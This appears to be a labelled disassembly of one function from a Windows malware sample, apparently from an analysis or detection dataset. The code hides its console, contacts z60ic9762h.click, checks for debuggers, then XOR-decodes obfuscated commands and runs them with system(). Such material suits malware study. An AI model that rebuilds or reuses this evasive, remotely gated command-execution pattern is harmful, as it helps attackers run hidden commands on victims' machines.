Function at 0x140002f40
Capabilities:
Check for debugger via api
Check http status code
Create http request
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x180
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x120], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r14d, r14d
mov dword [rbp], 4
xor r9d, r9d
mov dword [rbp + 8], r14d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov edx, 1
lea rcx, str.opera
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x140002ff1
mov qword [rsp + 0x28], r14
lea rdx, str.https:__z60ic9762h.click_
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x140002ff8
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea r9, [rbp]
mov qword [rsp + 0x20], r14
lea r8, [rbp + 8]
mov edx, 0x20000013
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x140003034
cmp dword [rbp + 8], 0xc8
jne 0x140002ff1
call fcn.140002c50
test al, al
jne 0x140002ff1
mov dword [rbp + 8], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 8], r14d
je 0x140003061
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140003072
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
movabs r14, 0xb049f58c3bb4c23d
movabs rsi, 0x37b0355046f219f7
mov qword [rbp], r14
movabs rdi, 0xac98df133ea530fe
mov rax, qword [rbp]
movabs rbx, 0x3821267e618244d7
mov qword [rbp + 0x20], rax
movabs r12, 0x8817df7537c5bb09
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xb523f523effc6669
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xd5c428c3a0e10c65
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x630f4f5732958a97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x6b9da13cc36f6122
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x139e38b4f12fcf70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x1e2a110421f53bf7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xda8a4a32633d89d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xc43d9dac57c6b75e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x59d4567f69c86a87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x9ba1bc7a0e934ad0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x5b484a1d4fea76e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x85479f4099864902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xf5ab05e3d8877c4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xc6b213e65c9b0d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x11c1e4718a331255
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x75ee16849545ac06
mov qword [rbp], rax
lea rcx, [rbp + 0x20]
mov rax, qword [rbp]
movabs r13, 0x7b4678770cd81b8f
mov qword [rbp + 0xe0], rax
movabs r15, 0xda8a4a32633dfdb8
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
mov qword [rbp + 0xf8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x60], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xa854e9d923b4d23d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x2da6390f04a147a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xe281cc572eeb2ca0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x283b2b6d1098038e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xd97ddc60fdf42675
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xa9d8728cbce9151c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x66085744398cfd9d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x5fe19c17fa1d2231
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x759a64ebe53de969
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xc43d9dac57c6b75e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x59d4567f69c86a87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x9ba1bc7a0e934ad0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x5b484a1d4fea76e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x85479f4099864902
lea rcx, [rbp + 0xa0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xf5ab05e3d8877c4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xc6b213e65c9b0d4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x11c1e4718a331255
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x75ee16849545ac06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqu ymm0, ymmword [rbp + 0xc0]
vmovdqa xmm2, xmmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
mov qword [rbp + 0x68], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmmword [rbp + 0xe0], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xeb1ddb8377aad23a
movabs rcx, 0xf5ab05e3d8877c4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x37bd0123538b4ad6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xdeecf5267de425b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x75782e772c9c0cbd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x85479f4099fe2f72
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xc43d9dac57c6b75e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x59d4567f69c86a87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x9ba1bc7a0e934ad0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x5b484a1d4fea76e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x85479f4099864902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
movdqa xmm2, xmmword [rbp + 0x40]
lea rcx, [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0xc8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqa xmmword [rbp + 0x40], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp], r14
movabs rcx, 0x85a3ec29e6ac12bd
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xec25b123fbe76669
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xa99146c3b7aa5c25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x793b7d4d17acc381
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x72aea02de95a7e37
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x3cb265f0fb20c173
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xf20172460bd6fe1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xbff93973064f9ccf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xfa72b81459a4f67d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x811e15f1235cb039
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xad177bb65d2620b6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x67cacc769992c250
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xc43d9dac57c6b75e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x59d4567f69c86a87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x9ba1bc7a0e934ad0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs r14, 0xf5ab05e3d8877c4b
movabs rax, 0x5b484a1d4fea76e1
movabs rsi, 0xc6b213e65c9b0d4
mov qword [rbp], rax
movabs rdi, 0x11c1e4718a331255
mov rax, qword [rbp]
movabs rbx, 0x75ee16849545ac06
mov qword [rbp + 0xb8], rax
movabs rax, 0x85479f4099864902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0xaf7b7698552ed56a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xc464569b7d4358d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x67cacc76edfca73c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x20]
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x20], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqu ymm0, ymmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0x40], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqu ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x60], ymm1
mov qword [rbp + 0x118], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x80], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xfe7ebdd825a7c32d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x988250d0cbb3fdb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xf4e5e01967ff28a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x73b3e732a870382
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0xe328cc2cfcf2274b
mov qword [rbp], rax
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x86d84486aae60b3f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x690c40500484c4b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x74a28d07f8564127
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x75ee1684f03dc928
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xc43d9dac57c6b75e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x59d4567f69c86a87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x9ba1bc7a0e934ad0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x5b484a1d4fea76e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x85479f4099864902
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqu ymm0, ymmword [rbp + 0xc0]
vmovdqa xmm2, xmmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
mov qword [rbp + 0x68], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x60]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmmword [rbp + 0xe0], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.1400057c0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret